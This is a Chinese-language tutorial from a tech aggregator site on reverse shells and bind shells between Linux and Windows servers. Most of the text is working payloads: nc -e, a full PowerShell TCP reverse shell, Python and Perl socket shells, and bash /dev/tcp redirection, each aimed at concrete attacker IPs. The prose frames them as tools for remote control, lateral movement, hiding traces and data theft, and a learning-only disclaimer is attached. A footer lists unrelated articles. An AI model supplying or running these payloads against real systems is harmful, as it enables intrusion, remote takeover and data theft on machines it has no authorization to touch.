【攻防技术系列】反弹Shell

news/2024/12/4 2:20:41/文章来源:https://www.cnblogs.com/o-O-oO/p/18585351
一、Linux -> Windows1.1 反向连接1.1.1 nc反连1.1.2 PowerShell反连1.1.3 利用编程语言反连1.2 正向连接二、Windows -> Linux2.1 反向连接2.1.1 nc反连2.1.2 Bash-i连接2.1.3 Perl反连2.2 正向连接总结

免责声明:

请勿使用本文中提到的技术进行非法测试或行为。使用本文中提供的信息或工具所造成的任何后果和损失由使用者自行承担,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

测试环境:

【试验机】:一台Linux服务器, 和一台Windows服务器:
【Windows服务器环境】:Windows Server 2016 数据中心版 64位中文版 2核4G
【Linux服务器环境】:Ubuntu Server 20.04 LTS 64位 2核4G

Linux服务器是自带nc的,Windows服务器我们需要将nc给上传上去

这里默认是存在漏洞的, 属于漏洞利用的后渗透阶段, 只演示反弹Shell的做法, 不演示漏洞利用

前提

反弹Shell的前提是已知存在漏洞, 并且漏洞可以利用, 或者存在命令执行的地方。

反弹Shell的作用

1、由于防火墙的设置, 无法正向连接目标服务器的时候, 就可以通过反弹Shell的方法让对方服务器出站主动连接我们的攻击机。

2、数据不回显, 我们无法直接直接从目标系统上建立连接并获取Shell控制权时, 也可以通过反弹Shell让目标系统主动给出权限。

反弹Shell的应用场景

1、远程控制:通过反弹Shell, 我们可以远程控制目标系统, 执行攻击命令, 获得对目标系统的完全控制权限。

2、横向攻击:我们只要能够成功反弹Shell并获得了目标系统的访问权限, 就可以进一步进行横向攻击, 在网络中移动并攻击其他系统, 从而获取更多的敏感信息或控制权。

3、隐藏攻击痕迹:通过反弹Shell,我们在目标系统上执行命令, 而不需要直接访问目标系统, 这样就减少了被发现的风险,同时也就更好的隐藏了攻击者的身份和攻击行为。

4、数据盗取或系统破坏:通过反弹Shell, 我们可以获取目标系统上的敏感数据, 并且可以给操作系统造成损害,进行文件删除等操作。

在线生成反弹Shell的网站

https://www.revshells.com/https://forum.ywhack.com/reverse-shell/https://sec.lintstar.top/https://forum.ywhack.com/shell.php

一、 Linux -> Windows

1.1 反向连接

1.1.1 nc反连

首先我们先演示, Linux作为攻击机, 然后对目标Windows服务器进行反弹Shell:

Linux攻击机ip:175.27.168.249

Windows服务器ip:119.45.115.236

给Windows服务器的网站目录下上传上我们的nc:

我们打开我们的在线反弹Shell命令生成器, 填写我们攻击机的ip地址以及监听端口号, 右边就会生成我们Linux攻击机的监听命令, 不过监听开启前要先把Linux服务器的入站规则里面添加上9001端口, 指定nc命令, shell种类指定cmd这样就生成了我们Windows服务器的反弹shell利用的payload:

1、在Linux攻击机开启对9001端口的监听:

nc -lvnp 9001

2、在Windows服务器cmd中使用一下payload:

nc 175.27.168.249 9001 -e cmd

执行后可以看到成功拿到Shell:

使用whoami命令确认权限, 发现是管理员用户:

1.1.2 PowerShell反连

我们使用反弹shell生成器, 然后像下图一样选择:

1、Linux攻击机监听9001端口:

nc -lvnp 9001

2、Windows服务器执行以下payload:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('175.27.168.249',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

可以看到成功拿到Shell:

通过whoami命令确认权限, 确定为管理员权限:

1.1.3 利用编程语言反连

利用编程语言让Windows主动交出Shell的话需要WIndows服务器上有这个语言的环境并且配置好了环境变量, 这里我们使用自己的物理机模拟是Windows被攻击机, 在自己的电脑上安装Python等环境并配置环境变量:

Python3反连

使用反弹Shell命令生成器, 选择以下选项:

1、Linux攻击机开启监听9001端口:

nc -lvnp 9001

2、Windows服务器在python中运行一下payload:

import os,socket,subprocess,threading;
def s2p(s, p):while True:data = s.recv(1024)if len(data) > 0:p.stdin.write(data)p.stdin.flush()def p2s(s, p):while True:s.send(p.stdout.read(1))s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.27.168.249",9001))p=subprocess.Popen(["cmd"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()try:p.wait()
except KeyboardInterrupt:s.close()

可以看到这里已经拿到了权限:

1.2 正向连接

正向连接就是让向目标系统传递payload, 使其将自己的cmd绑定到某个端口, 然后这个端口得是允许入站的, Linux攻击机直接去访问这个端口:

1、Windows服务器使用一下payload将cmd绑定到本地6666端口并开启监听:

nc -e cmd -lvnp 6666

2、Linux服务器直接通过nc进行连接

nc 119.45.115.236 6666

可以看到能够成功连接并且用户权限为管理员:

二、Windows -> Linux

现在开始Windows作为攻击机, Linux作为被攻击机进行演示:

2.1 反向连接

2.1.1 nc反连

1、Windows使用nc监听9002端口, 需要再安全组里面放开9002端口的入站规则:

nc -lvnp 9002

2、Linux服务器使用ncat连接Windows攻击机的9002端口:

ncat 119.45.115.236 9002 -e /bin/bash

可以看到在Windows这里已经成功拿到了Linux服务器的root权限了:

2.1.2 Bash-i连接

1、Windows攻击机使用nc监听9002端口:

nc -lvnp 9002

2、Linux服务器使用以下payload进行连接:

/bin/bash -i >& /dev/tcp/119.45.115.236/9002 0>&1

可以看到也是成功拿到了Linux服务器的root权限:

2.1.3 Perl反连

1、Windows攻击机监听9002端口:

nc -lvnp 9002

2、Linux服务器执行一下payload:

perl -e 'use Socket;$i="119.45.115.236";$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

这里也是可以直接拿到Linux服务器的root权限:

剩下的还有很多反连的方式,以及如果目标服务器安装了编程语言环境的也可以使用编程语言反连, 这里就不一一介绍了, 感兴趣的可以去试一试。

2.2 正向连接

1、让Linux服务器将shell绑定到9001端口:

ncat -e /bin/bash -lvnp 9001

2、让Windows攻击机直接访问目标服务器的9001端口:

nc 175.27.168.249 9001

这里可以看到成功拿到了Linux服务器的root权限:

总结:

1、Windows上基本就是CMD以及PowerShell命令可以反弹,然后就是配置了环境变量的开发语言也可以进行反弹shell。

2、Linux上默认自带的nc以及ncat等,系统命令,开发语言,以及安装了的开发语言基本都可以反弹shell。

原创 PysonX

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/846412.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

来玩游戏吗?能在线陪玩的那种。

在游戏世界的广阔天地里,选择一款优质的游戏盒子 APP 如同手握一把金钥匙,能够轻松解锁无限的游戏乐趣。今天为大家推荐一款全新的游戏盒子。这款精选的游戏盒子将带你走进精彩纷呈的游戏世界,体验前所未有的游戏魅力! 17 互娱 app 17 互娱游戏盒子是最新款游戏盒子。拥有超…

机器学习:神经网络构建(下)

在上一篇文章《机器学习:神经网络构建(上)》中讨论了线性层、激活函数以及损失函数层的构建方式,本节中将进一步讨论网络构建方式,并完整的搭建一个简单的分类器网络。简介 在上一篇文章《机器学习:神经网络构建(上)》中讨论了线性层、激活函数以及损失函数层的构建方式…

HCIP-18 MPLS LDP原理与配置

MPLS体系有多种标签分配协议,LDP标签分配协议是这些协议中使用较广的一种。 LDP是LSR之间协商标签含义的过程。LDP协议使用发现、会话、通告、通知四类报文进行会话的建立和标签的分发。 LDP通过标签发布方式、标签分配控制方式和标签保持方式来决定标签的发布和管理。华为数通…

centos7安装docker-ce

下载docker-ce repo curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo安装依赖 yum install -y https://mirrors.aliyun.com/docker-ce/linux/centos/7.5/x86_64/stable/Packages/containerd.io-1.4.8-3.1.el7.x86_64.rpm安装…

虚拟机苹果系统IM群发,苹果iMessage群发软件,iMessage协议版自动群发完美实现

一、PC电脑版苹果系统(Mac OS)上实现imessage群发总结为以下几种方式: /*MacOS苹果系统,正常情况下,只能安装到苹果公司自己出品的Mac电脑,俗称白苹果,不能安装到各种组装机或者其他品牌的品牌机上,黑苹果的的原理,就是通过一些 “破解补丁” 工具欺骗macOS系统,让苹果系统…

docker-配置镜像服务

镜像加速器配置 默认情况下,Docker是从Dcoker Hub上下载镜像资源,但由于该站点在国外,因此下载速度很慢,可以通过配置国内镜像加速器来解决,本文以阿里云镜像加速器为例,讲解在CentOs7系统下如何给Docker配置阿里云镜像加速器。 Docker Hub官网:https://hub.docker.com …

天梯赛练习集 L2-049 鱼与熊掌 查找

好简单,一开始随便二分一下,没想到也能过,算了时间复杂度1e10 思路:存储每个人拥有物品,查询每一个人是否两个物品都有. #include<bits/stdc++.h> using namespace std; vector<set<int>>vc; int main() {int n,m,x,y,cot;cin>>n>>m;for(int…

开源 - Ideal库 - Excel帮助类,ExcelHelper实现(四)

实现ExcelHelper第二步,设计接口包括读写操作和两类转换,通过文件路径、文件流及后缀读取Excel到DataSet,涉及工作簿Sheet与DataTable相互转换,具体代码已上传至代码库。书接上回,前面章节已经实现Excel帮助类的第一步TableHeper的对象集合与DataTable相互转换功能,今天实…

攻防世界-OldDriver

一、题目二、解题 1、观察特征:低指数,多密文 使用低指数广播攻击2、中国剩余定理剩余定理求解代码: def crt(remainders, moduli):"""中国剩余定理实现:param remainders: 余数列表 [r1, r2, ...]:param moduli: 模数列表 [m1, m2, ...]:return: 满足所有条…

Cannot find a valid baseurl for repo: base/7/x86_64

001、yum报错(base) [root@PC1 yum.repos.d]# yum install httpd ## yum安装应用报错 。002、解决方法(base) [root@PC1 home]# cd /etc/yum.repos.d (base) [root@PC1 yum.repos.d]# ls CentOS-Base.repo CentOS-CR.repo CentOS-Debuginfo.repo CentOS-fasttrack.rep…

【Comsol 6.2软件下载与安装教程】

1、安装包 「COMSOL 6.2」: 下载地址 2、安装教程(建议关闭杀毒软件和系统防护) 1) 下载并解压下载的安装包,双击Setup.exe安装,弹窗安装对话框2) 选择简体中文,点击下一步3) 选择先安装6.24) 选择我接受,点击许可证格式-许可证文件-浏览 – C…

搭建eureka集群环境以及客户端配置

先来效果图 eureka集群节点一 eureka集群节点二 节点一显示的注册服务 节点二显示的注册服务 eureka服务端配置如下所示 现在将eureka服务端放到了测试环境 192.168.31.50 192.168.31.60 服务信息 最后给出全部的eureka代码 pom文件<?xml version="1.0" encodin…